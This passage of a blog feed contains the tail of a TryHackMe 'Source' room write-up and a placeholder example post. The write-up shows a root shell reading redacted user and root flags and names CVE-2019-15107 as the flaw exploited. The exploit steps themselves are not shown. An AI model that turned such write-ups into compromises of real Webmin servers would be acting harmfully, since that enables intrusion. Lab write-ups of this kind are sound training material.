root@source:/# <span class="nb">cat</span> ./home/dark/user.txt
<span class="nb">cat</span> ./home/dark/user.txt
THM<span class="o">{</span>XXXXXX_XXXXX_XXXXXXXXXX<span class="o">}</span>
root@source:/# find <span class="nb">.</span> <span class="nt">-name</span> root.txt
find <span class="nb">.</span> <span class="nt">-name</span> root.txt
./root/root.txt
root@source:/# <span class="nb">cat</span> ./root/root.txt
<span class="nb">cat</span> ./root/root.txt
THM<span class="o">{</span>XXXXXX_XXXX_XXXXXXX<span class="o">}</span>
root@source:/# :<span class="o">)</span>
</code></pre></div></div>

<p>And done! (you have to find the flags for yourself)</p>

<h2 id="notes">Notes</h2>

<ul>
  <li>This was actually CVE-2019-15107 - more here: https://nvd.nist.gov/vuln/detail/cve-2019-15107</li>
</ul>

<p>Thank you for reading!</p>]]></content><author><name>mpck4</name></author><category term="TryHackMe" /><category term="thm" /><category term="writeup" /><summary type="html"><![CDATA[Technical overview for the Source TryHackMe room. here: https://tryhackme.com/room/source]]></summary></entry><entry><title type="html">Example Post</title><link href="https://mpck4.github.io/posts/example-post/" rel="alternate" type="text/html" title="Example Post" /><published>2026-03-05T00:00:00+00:00</published><updated>2026-03-05T00:00:00+00:00</updated><id>https://mpck4.github.io/posts/Example-Post</id><content type="html" xml:base="https://mpck4.github.io/posts/example-post/"><![CDATA[<p>This would potentially be where you write your intoduction.</p>

<h2 id="enumeration">Enumeration</h2>

<p>This would be the first step in finding something most of the time</p>

<h2 id="proof-of-concept-example">Proof of Concept example</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="s">"Hello world!"</span><span class="p">)</span>
</code></pre></div></div>

<p>Explanation of the code: prints hello world in python!</p>

<h2 id="escalation">Escalation</h2>

<p>Escalate!</p>

<h2 id="classification">Classification</h2>

<ul>
  <li>CVE-whatever</li>
</ul>

<p>explain more if needed!</p>

<ul>
  <li><strong>CVSS</strong>: Impact score</li>
  <li><strong>Impact</strong>: explanation</li>
</ul>

<h2 id="takeaways">Takeaways</h2>

<p>Good way to make a post</p>]]></content><author><name>mpck4</name></author><category term="Example" /><category term="example" /><summary type="html"><![CDATA[This would potentially be where you write your intoduction.]]></summary></entry></feed>